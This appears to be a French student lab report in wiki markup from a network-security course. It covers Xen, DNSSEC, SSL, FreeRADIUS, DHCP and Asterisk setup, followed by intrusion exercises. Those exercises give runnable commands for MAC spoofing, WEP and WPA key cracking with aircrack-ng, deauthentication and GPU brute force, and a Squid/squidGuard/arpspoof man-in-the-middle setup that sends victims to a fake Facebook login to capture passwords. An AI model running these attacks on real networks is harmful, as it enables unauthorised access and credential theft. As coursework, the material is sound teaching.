Une fois le PC remonté, nous avons téléchargé le pilote Nvidia officiel, puis nous l'avons installé. Après un reboot de la machine, nous avons pu constater que la carte graphique était bien fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Services internet ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Nous avons tout d'abord créé une machine virtuelle sur le dom0 du serveur cordouan.insecserv.deule.net. Pour celà nous nous somme connectés en ssh :&lt;br /&gt;
&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
Puis nous avons créé la VM avec les paramètres suivants :&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=DELIRIUM --dist=jessie --dir=/usr/local/xen --gateway=193.48.57.174 --ip=193.48.57.170&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier DELIRIUM.cfg de manière à augmenter la mémoire de notre machine virtuelle à 512MB puis lancé la VM avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 xl create /etc/xen/DELIRIUM.cfg&lt;br /&gt;
&lt;br /&gt;
Une fois la machine virtuelle démarrée nous avons pu nous y connecter grâce à la commande :&lt;br /&gt;
&lt;br /&gt;
 xl console DELIRIUM&lt;br /&gt;
&lt;br /&gt;
=== Préparation de la machine ===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser le TP nous avions besoin d'installer les paquets ssh, apache2 et bind9.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir modifié le fichier /etc/ssh/sshd_config de manière à pouvoir se connecter directement en tant que root via le ssh nous avons lancé Apache de manière à ce qu'il fasse tourner un site internet basique. A cette étape, le site était alors accessible via son adresse ip : 193.48.57.170&lt;br /&gt;
&lt;br /&gt;
=== Création du serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Nous sommes tout d'abord allés sur '''gandi.net''' et nous avons choisi le nom de domaine '''delirium.lol''', qui incluait également un certificat ssl. Une fois le nom de domaine livré, nous sommes allés sur la page de configuration et avons choisi notre serveur comme DNS principal. Nous avons également modifié les glue records afin que '''ns.delirium.lol''' soit associé à l'adresse '''193.48.57.170'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois cette étape faite, nous avons configuré bind de manière à rendre notre serveur fonctionnel. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous commençons par ajouter l'option '''dnssec-enable yes;''' dans le fichier '''named.conf.options'''.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier '''named.conf.local''' de manière à y ajouter notre zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;delirium.lol&amp;quot; {&amp;lt;br&amp;gt;type master;&amp;lt;br&amp;gt;file &amp;quot;/etc/bind/zones/delirium.lol.db&amp;quot;;&amp;lt;br&amp;gt;allow-transfer { 217.70.177.40; };&amp;lt;br&amp;gt;notify yes;&amp;lt;br&amp;gt;};&lt;br /&gt;
&lt;br /&gt;
Puis nous générons les clés publiques et privées ksk et zsk dans le dossier '''/etc/bind/delirium.lol.dnssec/''' comme suit :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE delirium.lol&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE delirium.lol&lt;br /&gt;
&lt;br /&gt;
Nous renommons les clés de manière à obtenir ceci :&lt;br /&gt;
&lt;br /&gt;
 -rw-r--r-- 1 root bind  606 Jan 17 17:11 delirium.lol-ksk.key&lt;br /&gt;
 -rw------- 1 root bind 1774 Jan 17 17:11 delirium.lol-ksk.private&lt;br /&gt;
 -rw-r--r-- 1 root bind  433 Jan 17 17:18 delirium.lol-zsk.key&lt;br /&gt;
 -rw------- 1 root bind 1010 Jan 17 17:12 delirium.lol-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous avons alors créé notre fichier de zone /etc/bind/zones/delirium.lol.db de manière à ce que toutes les redirections se fassent correctement, &amp;lt;br&amp;gt;&lt;br /&gt;
puis nous y incluons les clés publiques en n'oubliant pas d'incrémenter le numéro de version de la zone ('''Serial''', de la forme AAAAMMJJXX avec XX l'indice de la version pour le jour correspondant) :&lt;br /&gt;
&lt;br /&gt;
 $TTL    60480&lt;br /&gt;
 &lt;br /&gt;
 @       IN      SOA     ns.delirium.lol. root.delirium.lol. (&lt;br /&gt;
                    2016011706         ; '''Serial'''&lt;br /&gt;
                         86400         ; Refresh&lt;br /&gt;
                          3600         ; Retry&lt;br /&gt;
                       2419200         ; Expire&lt;br /&gt;
                         86400 )       ; Negative Cache TTL&lt;br /&gt;
 &lt;br /&gt;
 '''$include /etc/bind/delirium.lol.dnssec/delirium.lol-ksk.key'''&lt;br /&gt;
 '''$include /etc/bind/delirium.lol.dnssec/delirium.lol-zsk.key'''&lt;br /&gt;
 &lt;br /&gt;
 @       IN      NS      ns.delirium.lol.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns      IN      A       193.48.57.170&lt;br /&gt;
 www     IN      A       193.48.57.170&lt;br /&gt;
 god     IN      A       193.48.57.170&lt;br /&gt;
 @       IN      A       193.48.57.170&lt;br /&gt;
&lt;br /&gt;
Ainsi que notre fichier de reverse DNS /etc/bind/zones/57.48.193in-addr.arpa :&lt;br /&gt;
&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 &lt;br /&gt;
 @       IN       SOA     ns.delirium.lol. root.delirium.lol.     (&lt;br /&gt;
       2016011706       ;serial&lt;br /&gt;
       14400            ;refresh&lt;br /&gt;
       3600             ;retry&lt;br /&gt;
       604800           ;expire&lt;br /&gt;
       10800            ;minimum&lt;br /&gt;
 )&lt;br /&gt;
 &lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns.delirium.lol.&lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net.&lt;br /&gt;
 &lt;br /&gt;
 170               IN      PTR     delirium.lol.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier resolv.conf, nous avons ajouté l'adresse de notre serveur DNS, ainsi que celle du DNS secondaire appartenant à Gandi :&lt;br /&gt;
&lt;br /&gt;
 search delirium.lol&amp;lt;br&amp;gt;nameserver 193.48.57.170&amp;lt;br&amp;gt;nameserver 217.70.177.40&lt;br /&gt;
&lt;br /&gt;
On se place dans le dossier '''/etc/bind/''', puis on signe les enregistrements de la zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o delirium.lol -k delirium.lol.dnssec/delirium.lol-ksk zones/delirium.lol.db delirium.lol.dnssec/delirium.lol-zsk&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier '''named.conf.local''' de manière à utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;delirium.lol&amp;quot; {&amp;lt;br&amp;gt;type master;&amp;lt;br&amp;gt;file &amp;quot;/etc/bind/zones/'''delirium.lol.db.signed'''&amp;quot;;&amp;lt;br&amp;gt;allow-transfer { 217.70.177.40; };&amp;lt;br&amp;gt;notify yes;&amp;lt;br&amp;gt;};&lt;br /&gt;
&lt;br /&gt;
Une fois ces opérations effectuées nous avons redémarré notre serveur DNS :&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/bind9 restart&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste plus qu'à communiquer la partie publique de la KSK et de la ZSK (présentes dans les fichiers delirium.lol-ksk.key delirium.lol-zsk.key) à notre registrar sur '''gandi.net''' dans la section &amp;quot;gérer DNSSEC&amp;quot;. &amp;lt;br&amp;gt; Nous avons alors pu tester la sécurisation de notre DNS et nous avons constaté que [https://www.zonemaster.fr/test/568225ff6498323f cela fonctionne bien].&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation du site par certificat ===&lt;br /&gt;
&lt;br /&gt;
La première étape a été de générer les fichiers delirium.lol.csr et delirium.lol.key avec la commande :&lt;br /&gt;
&lt;br /&gt;
 openssl req -new -newkey rsa:2048 -sha256 -nodes -out delirium.lol.csr -keyout delirium.lol.key -subj '/C=FR/CN=delirium.lol'&lt;br /&gt;
&lt;br /&gt;
Une fois ces fichiers générés, nous avons attendu de recevoir le certificat delirium.lol.crt à l'adresse admin@delirium.lol précédemment créée. Nous avons également récupéré le certificat intermédiaire GandiStandardSSLCA2.pem sur le site gandi.net. Une fois tous les certificats récupérés sur notre serveur, nous avons pu commencer la sécurisation d'Apache.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons modifié le fichier /etc/apache2/ports.conf pour y ajouter la ligne Listen 443. Cela permet à Apache d'écouter les connexions sur le port 443 utilisé par le https. Nous avons ensuite copié les certificats .crt et .pem dans le dossier /etc/ssl/certs/ et la clé .key dans /etc/ssl/private/.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite rehash la structure à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 c_rehash /etc/ssl/certs&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pu créer un site dédié /etc/apache2/sites-available/000-delirium.lol-ssl  et nous l'avons configuré pour qu'il utilise les certificats précédemment obtenus. Nous avons alors activé le site sécurisé avec la commande :&lt;br /&gt;
&lt;br /&gt;
 a2ensite 000-domain.tld-ssl&lt;br /&gt;
&lt;br /&gt;
On a alors redémarré Apache pour que ces configurations soient prises en compte. Nous avons alors pu constater que nous accédions bien à notre site à l'adresse [https://delirium.lol https://delirium.lol]&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation Wifi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de faire en sorte que l'accès à la borne Wifi soit controlé par WPA2-EAP, en utilisant le serveur '''Freeradius'''.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous commençons d'abord par configurer notre serveur Freeradius de la manière suivante :&amp;lt;br&amp;gt;&lt;br /&gt;
'''Fichier eap.conf'''&amp;lt;br&amp;gt;&lt;br /&gt;
Ajout de &lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Fichier clients.conf'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Ajout de &amp;lt;br&amp;gt;&lt;br /&gt;
 client 10.10.10.2 {&lt;br /&gt;
        # secret and password are mapped through the &amp;quot;secrets&amp;quot; file.&lt;br /&gt;
        secret      = ****&lt;br /&gt;
        shortname   = cl2&lt;br /&gt;
       # the following three fields are optional, but may be used by&lt;br /&gt;
       # checkrad.pl for simultaneous usage checks&lt;br /&gt;
        nastype     = livingston&lt;br /&gt;
        login       = root&lt;br /&gt;
        password    = ****&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 client 10.10.10.1 {&lt;br /&gt;
        # secret and password are mapped through the &amp;quot;secrets&amp;quot; file.&lt;br /&gt;
        secret      = ****&lt;br /&gt;
        shortname   = cl1&lt;br /&gt;
       # the following three fields are optional, but may be used by&lt;br /&gt;
       # checkrad.pl for simultaneous usage checks&lt;br /&gt;
        nastype     = livingston&lt;br /&gt;
        login       = root&lt;br /&gt;
        password    = ****&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
=== Configuration du serveur Freeradius en DHCP ===&lt;br /&gt;
&lt;br /&gt;
Nous avons souhaité nous connecter à notre SSID via notre smartphone. Or, il est préférable d'établir une connexion en DHCP. C'est pourquoi nous allons configurer Freeradius pour autoriser les connections DHCP.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous commençons par installer '''isc-dhcp-server'''&lt;br /&gt;
 apt-get install isc-dhcp-server&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On modifie ensuite le fichier '''/etc/dhcp/dhcpd.conf''' :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On va assigner aléatoirement une adresse IP en suivant ces instructions :&lt;br /&gt;
 subnet 172.20.20.0 netmask 255.255.255.0 {&lt;br /&gt;
 range 172.20.20.10 172.20.20.100;&lt;br /&gt;
 range 172.20.20.150 172.20.20.200;&lt;br /&gt;
 }&lt;br /&gt;
 subnet 172.20.20.0 netmask 255.255.255.0 {&lt;br /&gt;
  range dynamic-bootp 172.20.20.100 172.20.20.200;&lt;br /&gt;
  option broadcast-address 172.20.20.254;&lt;br /&gt;
  option routers 172.20.20.2;&lt;br /&gt;
 }&lt;br /&gt;
On modifie également :&lt;br /&gt;
 option domain-name &amp;quot;delirium.lol&amp;quot;;&lt;br /&gt;
 option domain-name-servers 193.48.57.48;&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous avons réalisé ces configurations directement sur la VM, il a fallu finalement écrire dans '''/etc/dhcp/dhcp.conf''' :&lt;br /&gt;
 shared-network local {&lt;br /&gt;
 subnet 193.48.57.160 netmask 255.255.255.240 {&lt;br /&gt;
 }&lt;br /&gt;
 subnet 172.20.20.0 netmask 255.255.255.0 {&lt;br /&gt;
  range dynamic-bootp 172.20.20.100 172.20.20.200;&lt;br /&gt;
  option broadcast-address 172.20.20.254;&lt;br /&gt;
  option routers 172.20.20.0;&lt;br /&gt;
 }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Nous rebootons le serveur avec les commandes&lt;br /&gt;
 $ /etc/init.d/isc-dhcp-server stop&lt;br /&gt;
 $ /etc/init.d/isc-dhcp-server start&lt;br /&gt;
&lt;br /&gt;
La sortie est :&lt;br /&gt;
 [ ok ] Starting isc-dhcp-server (via systemctl): isc-dhcp-server.service.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;Reste ensuite à configurer le routeur situé à l'adresse 10.10.10.252 :&lt;br /&gt;
&lt;br /&gt;
Une fois connecté dessus, dans la config du vlan 20 (notre vlan), on entre la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
 Router(config-if)# ip helper-address 10.1.1.1 redundancy vrg1&lt;br /&gt;
&lt;br /&gt;
Nous parvenons à présent à nous connecter sur notre AP '''ssid_Delirium''', mais sans accès internet.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration d'un PCBX ===&lt;br /&gt;
&lt;br /&gt;
On a dans un premier temps installé le logiciel Asterisk sur un ordi perso que nous avons ensuite connecté à notre réseau wifi &amp;quot;SSID_Delirium&amp;quot;. On a alors modifié le fichier /etc/asterisk/sip.conf pour y ajouter la configuration suivante  :&lt;br /&gt;
&lt;br /&gt;
 [general]&lt;br /&gt;
 hasvoicemail = yes&lt;br /&gt;
 hassip = yes&lt;br /&gt;
 hasiax = yes&lt;br /&gt;
 callwaiting = yes&lt;br /&gt;
 threewaycalling = yes&lt;br /&gt;
 callwaitingcallerid = yes&lt;br /&gt;
 transfer = yes&lt;br /&gt;
 canpark = yes&lt;br /&gt;
 cancallforward = yes&lt;br /&gt;
 callreturn = yes&lt;br /&gt;
 callgroup = 1&lt;br /&gt;
 pickupgroup = 1&lt;br /&gt;
 nat = yes&lt;br /&gt;
 &lt;br /&gt;
 [1001]&lt;br /&gt;
 type=peer&lt;br /&gt;
 host=dynamic&lt;br /&gt;
 dtmfmode=rfc2833&lt;br /&gt;
 disallow=all&lt;br /&gt;
 allow=ulaw&lt;br /&gt;
 fullname = mrcoincoin&lt;br /&gt;
 username = mrcoincoin&lt;br /&gt;
 secret = canard&lt;br /&gt;
 context = work&lt;br /&gt;
 &lt;br /&gt;
 [1002]&lt;br /&gt;
 type=peer&lt;br /&gt;
 host=dynamic&lt;br /&gt;
 dtmfmode=rfc2833&lt;br /&gt;
 disallow=all&lt;br /&gt;
 allow=ulaw&lt;br /&gt;
 fullname = mrmiaou&lt;br /&gt;
 username = mrmiaou&lt;br /&gt;
 secret = chat&lt;br /&gt;
 context = work&lt;br /&gt;
&lt;br /&gt;
On a ensuite ajouté dans le fichier /etc/asterisk/extensions.conf les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 [work]&lt;br /&gt;
 exten =&amp;gt; _1XXX,1,Dial(SIP/${EXTEN},20)&lt;br /&gt;
 exten =&amp;gt; _1XXX,2,Hangup()&lt;br /&gt;
&lt;br /&gt;
On télécharge alors l'application CSipSimple pour Android, puis nous connectons les deux téléphones à notre réseau wifi. On configure alors les comptes utilisateur sur chaque téléphone, et on y ajoute l'adresse IP de notre serveur asterisk (ici un PC perso). On a alors réussi à établir une communication VoIP fonctionnelle sur les téléphones.&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cryptage de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons dans un premier temps récupéré une carte SD et nous l'avons formatté au format FAT32 à l'aide de gparted. Notre carte est donc /dev/mmcblk0p et nous avons donné le nom &amp;quot;tamerlashov&amp;quot; à la partition crée. Nous pouvons alors créer une partition cryptée grâce à la commande :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/mmcblk0p1&lt;br /&gt;
&lt;br /&gt;
Elle est donc encrypté AES SHA-256. Si on le souhaite, on peut afficher ses informations avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksDump /dev/mmcblk0p1&lt;br /&gt;
&lt;br /&gt;
On ouvre ensuite notre partition encryptée en tappant :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksOpen /dev/mmcblk0p1 tamerlashov&lt;br /&gt;
&lt;br /&gt;
On ajoute alors un système de fichiers à notre partition encryptée avec :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext3 /dev/mapper/tamerlashov&lt;br /&gt;
&lt;br /&gt;
Une fois cette opération effectuée, il est possible de monter la partition pour pouvoir écrire dedans, et de la démonter lorsque tous nos fichier ont été copiés.&lt;br /&gt;
&lt;br /&gt;
 mount -t ext3 /dev/mapper/tamerlashov /mnt/&lt;br /&gt;
 ...&lt;br /&gt;
 umount /mnt/&lt;br /&gt;
&lt;br /&gt;
Pour la ré-encrypter, on utilise alors la commande :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksClose tamerlashov&lt;br /&gt;
&lt;br /&gt;
Si on veut par la suite accéder au contenu de la carte, il faudra la désencrypter puis la monter, et si on souhaite la re-sécuriser il faudra la ré-encrypter après l'avoir démontée.&lt;br /&gt;
&lt;br /&gt;
=== Changement d'adresse MAC ===&lt;br /&gt;
&lt;br /&gt;
L'objectif de cette partie est de réussir à se connecter au réseau wifi nommé '''&amp;quot;baguette&amp;quot;'''. Ce réseau n'a pas de mot de passe mais est protégé grâce à un filtrage d'adresse MAC.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons dans un premier temps essayé de nous connecter directement. On a alors constaté que la connexion était refusée. Pour arriver à nous connecter, nous avons alors changé l'adresse MAC de notre carte WiFi avec ces commandes :&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan3 down&amp;lt;br&amp;gt;ifconfig wlan3 hw ether 00:15:af:e7:19:f3&amp;lt;br&amp;gt;ifconfig wlan3 up&lt;br /&gt;
&lt;br /&gt;
Une fois l'adresse changée nous avons pu nous connecter facilement au réseau.&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clé WEP ===&lt;br /&gt;
&lt;br /&gt;
L'objectif de cette partie est d'arriver à se connecter à un réseau wifi protégé par une clé WEP. Nous avons choisi d'attaquer le réseau '''&amp;quot;levrette&amp;quot;'''. Dans un premier temps nous avons téléchargé et installé le paquetage '''aircrack-ng'''. Nous avons ensuite branché une clé wifi en usb sur l'ordinateur et nous avons passé cette clé en mode monitoring avec la commande&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan3&lt;br /&gt;
&lt;br /&gt;
Cela nous a permis de pouvoir regarder tout le trafic réseau et les points d'accès aux alentours à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan3&lt;br /&gt;
&lt;br /&gt;
Une fois notre réseau repéré, nous avons fait en sorte de n'observer que lui avec :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng -w out -c 6 --bssid 00:40:F4:95:27:55 wlan3&lt;br /&gt;
&lt;br /&gt;
*L'option -w permet de préciser que les paquets récupérés seront stockés dans un fichier nommé out&lt;br /&gt;
*L'option -c permet de préciser que le canal du réseau est le 6&lt;br /&gt;
*L'option --bssid nous permet d'observer que le réseau wifi donc l'adresse mac est 00:40:F4:95:27:55&lt;br /&gt;
&lt;br /&gt;
On a alors démarré aireplay-ng de manière à faire une fake authentification sur le réseau wifi :&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -1 30 -a 00:40:F4:95:27:55 --ignore-negative-one wlan3&lt;br /&gt;
&lt;br /&gt;
Cela permet d'associer notre carte WiFi au point d'accès. Si tout se passe correctement on devrait avoir ce message :&lt;br /&gt;
&lt;br /&gt;
 Sending Authentication Request (Open System) [ACK]&amp;lt;br&amp;gt;Authentication successful&amp;lt;br&amp;gt;Sending Association Request [ACK]&amp;lt;br&amp;gt;Association successful :-) (AID: 1)&lt;br /&gt;
&lt;br /&gt;
On peut alors commencer l'injection d'ARP avec la commande :&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -3 -x 600 -b 00:40:F4:95:27:55 --ignore-negative-one wlan3&lt;br /&gt;
&lt;br /&gt;
Cette commande permet d'injecter jusqu'à 600 paquets ARP par seconde au point d'accès (option -x 600). Comme nous avions précédemment récupéré le trafic sur le réseau à l'aide d'airodump-ng, tous les paquets sont stockés dans les fichiers out.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer aircrack-ng de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng out-01.cap&lt;br /&gt;
&lt;br /&gt;
Suivant le nombre de paquets reçus, l'attaque a plus ou moins de chances de réussir. Dans notre cas l'attaque a réussi à partir de 20000IVs.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:success.png]]&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clé WPA ===&lt;br /&gt;
&lt;br /&gt;
==== Méthode n°1 ====&lt;br /&gt;
&lt;br /&gt;
L'objectif de cette partie est de craquer une clé d'un réseau wifi protégé en WPA2. Nous allons donc attaquer le réseau &amp;quot;cracotte10&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons passé la carte wifi d'un EeePC en mode monitoring avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite relevé l'adresse MAC du réseau que nous voulions attaquer pour faire en sorte de ne monitorer que lui, et écrire le résultat de l'attaque dans un fichier avec l'option -w. Nous avons ensuite lancé une désauthentification avec la commande :&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 5 -a 04:DA:D2:9C:50:59 -c 00:0F:B5:92:24:51 mon0&lt;br /&gt;
&lt;br /&gt;
Le client connecté va alors être déconnecté et va tenter de se ré-authentifier automatiquement. L'attaque aireplay-ng permet donc de récupérer le handshake lors de la reconnexion. Nous avons alors transféré les fichiers générés sur une zabeth où nous avions préalablement installé aircrack-ng.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
L'étape finale est alors de bruteforce le mot de passe. Dans un premier temps nous avons généré un dictionnaire de mot de passe à l'aide de crunch :&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Ce dictionnaire comporte tous les mots de passe de 8 caractères contenant uniquement des chiffres. Nous avons ensuite lancé l'attaque sur le fichier .cap en prenant comme paramètre le dictionnaire que nous avons généré.&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng *.cap -w dico.txt&lt;br /&gt;
&lt;br /&gt;
Au bout de 57 minutes le bruteforce a enfin aboutit et nous avons trouvé le mot de passe qui est : 12399910&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA.png]]&lt;br /&gt;
&lt;br /&gt;
==== Méthode n°2 ====&lt;br /&gt;
&lt;br /&gt;
Nous avons récupéré un fichier .cap, cette fois ci du réseau cracotte01, de la même manière que pour la méthode 1. Cependant, pour accélérer le crack, nous avons utilisé un PC personnel ayant une carte graphique Nvidia (GTX 970m) et équipé du logiciel pyrit, cowpatty ainsi que des outils Nvidia CUDA. Pyrit, utilisant ces outils, permet d'utiliser la carte graphique de l'odinateur en plus du processeur pour générer les hashs du dictionnaire contenant les mots de passe. Cowpatty est quand à lui un logiciel permettant de craquer des clés WPA, mais qui contrairement à aircrack-ng peut prendre des hashs en entrée plutot qu'un dictionnaire en texte clair.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pipe le dictionnaire dans pyrit qui dirigait les hash directement en entrée de cowpatty et attendu que le crack de déroule :&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 0123456789 | optirun pyrit -e cracotte01 -i - -o - passthrough | cowpatty -d - -s cracotte01 -r *.cap&lt;br /&gt;
&lt;br /&gt;
Au bout de 242s nous avons alors trouvé la clé WPA du réseau.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:crack_wpa.png]]&lt;br /&gt;
&lt;br /&gt;
Grâce à l'utilisation de la carte graphique, cette méthode est beaucoup plus rapide!&lt;br /&gt;
&lt;br /&gt;
=== Attaque MITM ===&lt;br /&gt;
&lt;br /&gt;
Le principe est le suivant :&lt;br /&gt;
&lt;br /&gt;
Le hackeur vas rediriger le traffic de la victime vers son propre proxy. Cela lui permettra d'intercepter les requêtes vers fr-fr.facebook.com pour les rediriger vers sa propre page &amp;quot;facebook&amp;quot;. Cette page sera modifiée de manière à envoyer les données rentrée par la victime non pas en https, mais en http. Cela permet ainsi de pouvoir voir les login et mots de passe en clair. Toutes les autres pages seront juste redirigées de manière transparente pour que la victime ne se doute pas de l'attaque.&lt;br /&gt;
&lt;br /&gt;
La première étape est d'installer et configurer Squid3, le proxy que nous allons utiliser. Nous le configurons le fichier /etc/squid3/squid.conf de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 acl allowedips src 192.168.1.0/24              # ip ou range d'ip à attaquer&lt;br /&gt;
 http_access allow allowedips&lt;br /&gt;
 forwarded_for off                              # Masque notre ip dans le header HTTP&lt;br /&gt;
 http_access deny all                           # Empeche les personnes extérieures d'accéder à notre proxy&lt;br /&gt;
 cache_access_log /var/log/squid3/access.log&lt;br /&gt;
 cache_log /var/log/squid3/cache.log&lt;br /&gt;
 cache_store_log /var/log/squid3/store.log&lt;br /&gt;
 cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
 cache_mem 16 MB&lt;br /&gt;
 maximum_object_size 15 MB&lt;br /&gt;
 http_port 3129 transparent                     # Pour rendre le proxy transparent&lt;br /&gt;
 cache_effective_group root&lt;br /&gt;
 url_rewrite_program /usr/bin/squidGuard        # Intégration de SquidGuard&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite squidGuard, qui nous permettra de créer des règles de redirections plus fines. En l'occurence rediriger seulement les requêtes vers la page fr-fr.facebook.com. Nous le configurons de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 dbhome /usr/local/squidGuard/db&lt;br /&gt;
 logdir /usr/local/squidGuard/logs&lt;br /&gt;
 &lt;br /&gt;
 dest fb-login {&lt;br /&gt;
    urllist facebook/url&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 acl {&lt;br /&gt;
    default {&lt;br /&gt;
       pass !fb-login all&lt;br /&gt;
       redirect http://127.0.0.1/&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Cela nous permet de rediriger les pages contenues dans le fichier /usr/local/squidGuard/db/facebook/url (ici, fr-fr.facebook.com) vers notre serveur local. On s'occupe alors de générer la base de donnée de squidGuard, puis de lancer squid3 :&lt;br /&gt;
&lt;br /&gt;
 squidGuard -C all &lt;br /&gt;
 service squid3 start&lt;br /&gt;
&lt;br /&gt;
Si on veut vérifier qu'il n'y a pas d'erreurs on peut vérifier les logs :&lt;br /&gt;
&lt;br /&gt;
 cat /usr/local/squidGuard/logs/squidGuard.log&lt;br /&gt;
&lt;br /&gt;
Il faut alors configurer les iptables pour gérer la redirection du trafic :&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward                                                # Autorise le forwarding ipv4&lt;br /&gt;
 iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP                                      # Bloque les ICMP 5 envoyés à notre serveur (permet de dissimuler sa présence)&lt;br /&gt;
 iptables -t nat -A PREROUTING -s &amp;lt;ip du serveur squid3&amp;gt; -p tcp --dport 80 -j ACCEPT   # Accepter le trafic entrant sur le serveur Squid3 vers le port 80 sans le rediriger&lt;br /&gt;
 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129            # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3129 de Squid3&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j MASQUERADE                                          # Remplace l'ip de la cible avec notre propre ip&lt;br /&gt;
 iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP                          # Bloque le trafic direct vers le port du serveur Squid3&lt;br /&gt;
&lt;br /&gt;
Une fois ces règles mises en place, on peut spoofer la table ARP de notre victime avec la commande :&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i &amp;lt;eth0 -t &amp;lt;ip de la cible&amp;gt; &amp;lt;ip du gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
